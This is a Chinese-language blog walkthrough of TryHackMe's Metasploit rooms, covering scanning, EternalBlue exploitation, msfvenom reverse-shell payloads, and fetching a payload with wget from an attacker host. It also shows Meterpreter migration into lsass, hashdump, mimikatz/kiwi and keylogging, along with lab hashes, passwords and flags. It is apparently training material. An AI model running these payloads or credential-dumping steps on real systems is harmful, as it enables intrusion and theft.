首页 > 编程语言 >THM-Metasploit

THM-Metasploit

时间:2024-10-17 20:31:55浏览次数:1  
标签:Metasploit exe meterpreter dll THM shell ANSWER Meterpreter

Metasploit

Metasploit: Introduction

msfconsole
#主命令行界面
history
#查看之前输入的命令
RHOSTS
#目标靶机地址
use
#命令后跟编号来选择要使用的模块
show options
#查看
back
#离开
setg/unsetg
#全局变量

Metasploit: Exploitation

Port Scanning

使用以下命令可以查看许多关于扫描目标系统和网络上的开放端口的模板

search portscan
msf6 > search portscan

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/wordpress_pingback_access                   normal  No     Wordpress Pingback Locator
   1  auxiliary/scanner/natpmp/natpmp_portscan                           normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner
   3  auxiliary/scanner/portscan/ftpbounce                               normal  No     FTP Bounce Port Scanner
   4  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner
   5  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner
   6  auxiliary/scanner/portscan/xmas                                    normal  No     TCP "XMas" Port Scanner
   7  auxiliary/scanner/sap/sap_router_portscanner                       normal  No     SAPRouter Port Scanner


Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner

1.How many ports are open on the target system?

我们使用nmap进行SYN扫描

nmap -sS --min-rate 10000 -Pn 10.10.217.98 

Screenshot 2024-10-15 233053.png

ANSWER:5

2.Using the relevant scanner, what NetBIOS name can you see?

我们使用一下命令来查找有关NetBIOS相关的模块

search NetBIOS

Screenshot 2024-10-15 233357.png

我们使用第二个

use 2

设置目标靶机

set RHOSTS 10.10.217.98

执行模块

run

image-20241015234405538

ANSWER: ACME IT SUPPORT

3.What is running on port 8000?

我们之前扫描到8000端口是一个http服务,我们使用这个模块进行扫描,同时设定靶机ip和端口

image-20241015235203673

ANSWER:webfs/1.21

What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task

查看密码我们使用smb_login这个模块进行操作,然后show options查看我们需要设置的内容

image-20241016001109041

image-20241016001218542

image-20241016001254418

ANSWER: leo1234

The Metasploit Database

Metasploit具有数据库功能,我们首先需要启动PostgreSQL,使用以下命令

systemctl start postgresql

然后我们使用以下命令来初始化Metasploit 数据库

msfdb init

就可以查看数据库状态了

db_status

使用以下指令可以创建新的工作区

workspace -a name

Vulnerability Scanning

1.Who wrote the module that allows us to check SMTP servers for open relay?

首先我们search SMTP,查询到有效负载scanner/smtp/smtp_relay

使用info查看具体信息

image-20241016175756536

ANSWER: Campbell Murray

Exploitation

可以使用search命令搜索漏洞利用程序,使用info命令获取有关漏洞利用程序的更多信息,并使用exploit 启动exploit利用。

大多数漏洞利用都会有预设的默认负载,但是可以使用show payloads命令列出可用于该特定漏洞的其他命令。

一旦决定了有效负载,就可以使用set payload命令来做出选择。

1.What is the content of the flag.txt file?

上文给出exploit为windows/smb/ms17_010_eternalblue和payload为generic/shell_reverse_tcp

我们search eternalblue,然后set payload

show options 一步一步设置走

image-20241016183320304

最后执行exploit

image-20241016183604789

成功进入

然后我们使用CTRL+Z将其置于后台,使用 sessions -u [session ID] 升级会话

image-20241016195441342

进入session2search -f flag.txt就可以看到文件处于哪个目录了

image-20241016195711711

ANSWER: THM-5455554845

2.What is the NTLM hash of the password of the user "pirate"?

我们先将此会话置于后台,search hashdump

image-20241016201541794

ANSWER: 8ce9a3ebd1647fcc5e04025019f4b875

Msfvenom

Msfvenom 取代了 Msfpayload 和 Msfencode,允许我们生成有效负载

可以生成独立的有效负载(例如Meterpreter的 Windows 可执行文件)或获取可用的原始格式(例如 python)。 msfvenom --list formats命令可用于列出支持的输出格式

与某些观点相反,编码器的目的并不是绕过目标系统上安装的防病毒软件。顾名思义,它们对有效负载进行编码。虽然它可以有效对抗某些防病毒软件,但使用现代混淆技术或学习方法注入 shellcode 是解决该问题的更好方法。下面的例子展示了编码的用法(带有-e参数。PHP 版本的Meterpreter是采用Base64编码的,输出格式为raw

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64

image-20241016203021205

我们将利用 DVWA中存在的文件上传漏洞,漏洞利用步骤是:

1.使用 MSFvenom 生成PHP shell

2.启动Metasploit处理程序

3.执行PHP shell

我们首先生成文件

msfvenom -p php/reverse_php LHOST=10.21.66.31 LPORT=7777 -f raw > reverse_shell.php

image-20241016203355315

再稍作修改,将php头和尾修改好

我们将使用 Multi Handler 来接收传入的连接。该模块可与 use exploit/multi/handler 命令。

image-20241016203838987

一旦一旦一切设置完毕,我们将run处理程序并等待传入连接。

反弹shell后,连接将被multi/handler接收并为我们提供一个shell

Other Payloads

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python:

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

1.启动附加到此任务的虚拟机。用户名是 murphy,密码是 1q2w3e4r。您可以通过 SSH 连接或在浏览器中启动这台机器。进入终端后,输入“sudo su”以获取 root shell,这将使事情变得更容易。

2.创建 .elf 格式的 meterpreter 有效负载

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.21.66.31 LPORT=7777 -f elf > rev_shell.elf

3.将其传输到目标机器(您可以使用 python3 -m http.server 9000 命令在攻击机器上启动 Python Web 服务器,并使用 wget http://ATTACKING_MACHINE_IP:9000/shell.elf 将其下载到目标机器) 。

image-20241016210336843

image-20241016210348341

4.在目标机器上获取 meterpreter 会话。

先赋权

image-20241016210535359

先在攻击机上设置一番

image-20241016210938091

然后,在目标机器上,执行rev_shell.elf文件

image-20241016210944173

然后就有回显了

image-20241016211027309

5.使用后利用模块转储系统上其他用户的哈希值。

6.其他用户的密码哈希是什么?

首先search hashdump,选择post/linux/gather/hashdump

image-20241016211537336

ANSWER: $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

Metasploit: Meterpreter

Introduction to Meterpreter

Meterpreter 是一个 Metasploit 有效负载,通过许多有价值的组件支持渗透测试过程。 Meterpreter 将在目标系统上运行,并充当命令和控制架构中的代理。我们将与目标操作系统和文件进行交互,并使用 Meterpreter 的专用命令。

Meterpreter主要是防IPS和IDS检测,但防病毒不太行

在pid中和dll检测中较为隐蔽

meterpreter > getpid 
Current pid: 1304
meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]                                                   
 4     0     System                x64   0                                      
 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe
 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           
 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  
 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe  1276  1304  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe
 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    
 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe

可以发现并不是meterpreter

C:\Windows\system32>tasklist /m /fi "pid eq 1304"
tasklist /m /fi "pid eq 1304"

Image Name                     PID Modules                                     
========================= ======== ============================================
spoolsv.exe                   1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,    
                                   msvcrt.dll, sechost.dll, RPCRT4.dll,        
                                   USER32.dll, GDI32.dll, LPK.dll, USP10.dll,  
                                   POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,   
                                   ADVAPI32.dll, OLEAUT32.dll, ole32.dll,      
                                   DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,         
                                   NSI.dll, IMM32.DLL, MSCTF.dll,              
                                   CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,    
                                   secur32.dll, SSPICLI.DLL, credssp.dll,      
                                   IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,      
                                   wshtcpip.dll, wship6.dll, rasadhlp.dll,     
                                   fwpuclnt.dll, CLBCatQ.DLL, umb.dll,         
                                   ATL.DLL, WINTRUST.dll, CRYPT32.dll,         
                                   MSASN1.dll, localspl.dll, SPOOLSS.DLL,      
                                   srvcli.dll, winspool.drv,                   
                                   PrintIsolationProxy.dll, FXSMON.DLL,        
                                   tcpmon.dll, snmpapi.dll, wsnmp32.dll,       
                                   msxml6.dll, SHLWAPI.dll, usbmon.dll,        
                                   wls0wndh.dll, WSDMon.dll, wsdapi.dll,       
                                   webservices.dll, FirewallAPI.dll,           
                                   VERSION.dll, FunDisc.dll, fdPnp.dll,        
                                   winprint.dll, USERENV.dll, profapi.dll,     
                                   GPAPI.dll, dsrole.dll, win32spl.dll,        
                                   inetpp.dll, DEVRTL.dll, SPINF.dll,          
                                   CRYPTSP.dll, rsaenh.dll, WINSTA.dll,        
                                   cscapi.dll, netutils.dll, WININET.dll,      
                                   urlmon.dll, iertutil.dll, WINHTTP.dll,      
                                   webio.dll, SHELL32.dll, MPR.dll,            
                                   NETAPI32.dll, wkscli.dll, PSAPI.DLL,        
                                   WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,     
                                   apphelp.dll, NLAapi.dll, napinsp.dll,       
                                   pnrpnsp.dll, winrnr.dll                     

可以发现并没有meterpreter

还值得注意的是,Meterpreter 会与攻击者的系统建立加密(TLS)通信通道。

Meterpreter Flavors

了解可用Meterpreter版本的最简单方法是使用 msfvenom 列出它们。

我们使用了msfvenom --list payloads命令并 grep“meterpreter”有效负载(将| grep meterpreter添加到命令行),因此输出仅显示这些。

msfvenom --list payloads | grep meterpreter

决定使用哪个版本的Meterpreter主要基于三个因素:

1.目标操作系统

2.目标系统上可用的组件

3.您可以与目标系统建立的网络连接类型

Meterpreter Commands

help查看

Post-Exploitation with Meterpreter

getuid命令将显示当前运行Meterpreter的用户。这将使我们了解目标系统上可能的权限级别(例如,您是像 NT AUTHORITY\SYSTEM 这样的管理员级别用户还是普通用户?)

ps命令将列出正在运行的进程。 PID列还将为我们提供将Meterpreter迁移到另一个进程所需的PID信息。

迁移到另一个进程将有助于Meterpreter与其交互。例如,如果我们看到目标上运行着一个文字处理器(例如 word.exe、notepad.exe 等),可以迁移到它并开始捕获用户发送到此进程的击键。某些Meterpreter版本将提供keyscan_startkeyscan_stopkeyscan_dump命令选项,使Meterpreter充当键盘记录器。迁移到另一个进程也可以帮助您获得更稳定的Meterpreter会话。

要迁移到任何进程,需要键入 migrate 命令,后跟所需目标进程的PID 。

meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.

hashdump命令将列出 SAM 数据库的内容。 SAM(安全帐户管理器)数据库存储 Windows 系统上的用户密码。这些密码以 NTLM(新技术 LAN 管理器)格式存储。

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

search命令对于查找包含潜在重要信息的文件非常有用。在 CTF 上下文中,这可用于快速查找标志或证明文件,而在实际的渗透测试活动中,您可能需要搜索用户生成的文件或可能包含密码或帐户信息的配置文件。

meterpreter > search -f flag2.txt
Found 1 result...
    c:\Windows\System32\config\flag2.txt (34 bytes)

shell 命令将在目标系统上启动常规命令行 shell。按 CTRL+Z 将返回到Meterpreter shell。

meterpreter > shell
Process 2124 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

Post-Exploitation Challenge

Meterpreter提供了几个重要的后利用工具。

前面提到的命令,例如getsystemhashdump将为权限升级和横向移动提供重要的杠杆和信息。还可以使用 load 命令来利用其他工具,例如 Kiwi 甚至整个 Python 语言。

使用load命令加载任何其他工具后,我们将在help菜单上看到新选项。下面的示例显示了为 Kiwi 模块添加的命令(使用load kiwi命令)。

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( [email protected] )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.

您可以使用下面的凭据来模拟对SMB (服务器消息块)的初始攻击(使用exploit/windows/smb/psexec)

1.计算机名称是什么?

先做端口扫描

nmap -sS -vv -Pn -p- --min-rate 10000 10.10.197.10

image-20241017163740740

发现他并没有开启22(ssh)服务端口

根据题目提示使用SMB (服务器消息块)的初始攻击(使用exploit/windows/smb/psexec)

show options查看需要设置的内容

image-20241017164558149

image-20241017165253821

进入meterpreter后,使用sysinfo查看详细信息

image-20241017172916636

ANSWER: ACME-TEST

2.What is the target domain?目标域是什么?

根据提示,我们需要使用post/windows/gather/enum_domain模块来获取target domain

首先将meterpreter置于后台,use post/windows/gather/enum_domain

设置会话id,set session 1,然后run

image-20241017174056687

ANSWER: FLASH

3.What is the name of the share likely created by the user?

用户可能创建的共享的名称是什么?

使用post/windows/gather/enum_shares模块来查看

image-20241017174509697

ANSWER: speedster

4.What is the NTLM hash of the jchambers user?

jchambers 用户的 NTLM 哈希值是什么?

根据提示,我们需要将会话迁移到lsass.exe进程

首先在meterpreter会话中使用ps列出正在运行的进程

image-20241017174850934

使用migrate迁移进程

migrate 760

然后运行hashdump

image-20241017175035052

ANSWER: 69596c7aa1e8daee17f8e78870e25a5c

5.What is the cleartext password of the jchambers user?

jchambers 用户的明文密码是什么?

image-20241017175204970

ANSWER: Trustno1

6.Where is the "secrets.txt" file located? (Full path of the file)

“secrets.txt”文件位于哪里? (文件的完整路径)

在meterpreter会话下使用以下命令查找

search -f secrets.txt

image-20241017175401763

ANSWER: c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt

7.What is the Twitter password revealed in the "secrets.txt" file?

“secrets.txt”文件中透露的 Twitter 密码是什么?

直接cat就好了

image-20241017175710654

ANSWER: KDSvbsw3849

8.Where is the "realsecret.txt" file located? (Full path of the file)

“realsecret.txt”文件位于哪里? (文件的完整路径)

还是一样的套路

image-20241017190722273

ANSWER: c:\inetpub\wwwroot\realsecret.txt

9.What is the real secret?

真正的秘密是什么?

一样的套路

image-20241017190930151

ANSWER: The Flash is the fastest man alive

标签:Metasploit,exe,meterpreter,dll,THM,shell,ANSWER,Meterpreter
From: https://www.cnblogs.com/kelec0ka/p/18473030

相关文章

  • EF4323 Algorithmic Trading
    EF4323AlgorithmicTradingProjectSemesterA2024/2025Instructor:Dr.DU,JintaoIntroductionInthisproject,wesimulatethealgorithmictradingbusinessmodel,whereasmallgroupofproprietarytraderstriestoattractoutsideinstitutionalinvest......
  • I2C相关结构体讲解:i2c_adapter、i2c_algorithm、i2c_msg
    往期内容I2C子系统专栏:I2C(IIC)协议讲解SMBus协议详解总线和设备树专栏:专栏地址导航篇–专栏未篇1.框图建议右击图片在新标签页打开预览i2c_transfer函数就是读取i2c设备的信息或者输出信息给i2c设备的函数比如发送app发送数据给i2c设备,i2c设备的驱动程序......
  • 2023 Benelux Algorithm Programming Contest (BAPC 23)
    A-\texttt题意\(n\)个软件包,已知大小,可以同时下载\(k\)个,已经下载好了\(m\)个,选\(k\)个下载使得下载完后进度最大,输出已完成进度所占百分比。思路选最大的\(m+k\)个。代码点击查看代码#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongvoid......
  • CRICOS Data Structures and AlgorithmsHash Tables
    DataStructuresandAlgorithmsHashTablesPage1of3CRICOSProvideCode:00301J Note:hashArraystoresthekey,valueandstate(used,free,orpreviously-used)ofeveryhashEntry.WemuststoreboththekeyandvaluesinceweneedtocheckhashArrayto......
  • Metasploit渗透测试框架学习(一)基本使用教程
    1.Metasploit框架结构1.1总览基础库文件Rex为最底层,实现网络套接字、网络应用协议、客户端服务端交互、数据库支持等framework-core实现与上层模块交互的接口framework-base对framework-core的扩展封装,用于提供各种接口供用户调用基于framework-base实现的六大模块Ex......
  • SciTech-Mathmatics-Probability+Statistics:Quantifing Uncertainty_统计分析: SciTec
    一般数学表示方法概率数学表示方法\(\large\begin{array}{rl}\\\bm{X}:&符合某种概率分布的Random\Variable(随机变量)\\\bm{x}:&\bm{rnorm},随机变量X的一个实例,,…\\\bm{f}:&\bm{pdf},\bm{dnorm},\text{ProbabilityDistributionFunction}\of\\text......
  • SciTech-Mathmatics-Probability+Statistics:Quantifing Uncertainty_多元数据统计分
    Chapt1学习目标理解多元数据及多元统计分析与一元统计分析的区别。掌握数据的计量尺度与数据类型。了解多元统计分析的应用分类。1.1 多元数据认知1.1.1多元数据的概念对任何一个现实问题要转化为一个统计问题,首要的工作是要对其特征进行刻画;一般采用随机变量,多......
  • SciTech-Mathmatics-Probability+Statistics:Quantifing Uncertainty_统计分析: SciTec
    一般数学表示方法概率数学表示方法\(\large\begin{array}{rl}\\\bm{X}:&符合某种概率分布的Random\Variable(随机变量)\\\bm{x}:&\bm{rnorm},随机变量X的一个实例,,…\\\bm{f}:&\bm{pdf},\bm{dnorm},\text{ProbabilityDistributionFunction}\of\\text......
  • SciTech-Mathmatics-Probability+Statistics:Quantifing Uncertainty_统计数据分析:
    多元数据和多元统计分析<<实用多元统计分析>>清华大学出版社,5校正文1.indd12023/9/1217:14:25Chapt1学习目标理解多元数据及多元统计分析与一元统计分析的区别。掌握数据的计量尺度与数据类型。了解多元统计分析的应用分类。1.1 多元数据认知1.1.1多元数据的......
  • 【THM】kiba练习
    【THM】kiba练习与本文相关的TryHackMe实验房间链接:TryHackMe|kiba简介:识别数据可视化仪表板中允许执行远程代码执行的关键安全缺陷。你能完成这个挑战吗?第一题:基于原型编程的语言特有的漏洞是什么?知识盲区,问了AI原型链修改原型链篡改是指攻击者通过修改对象的原型......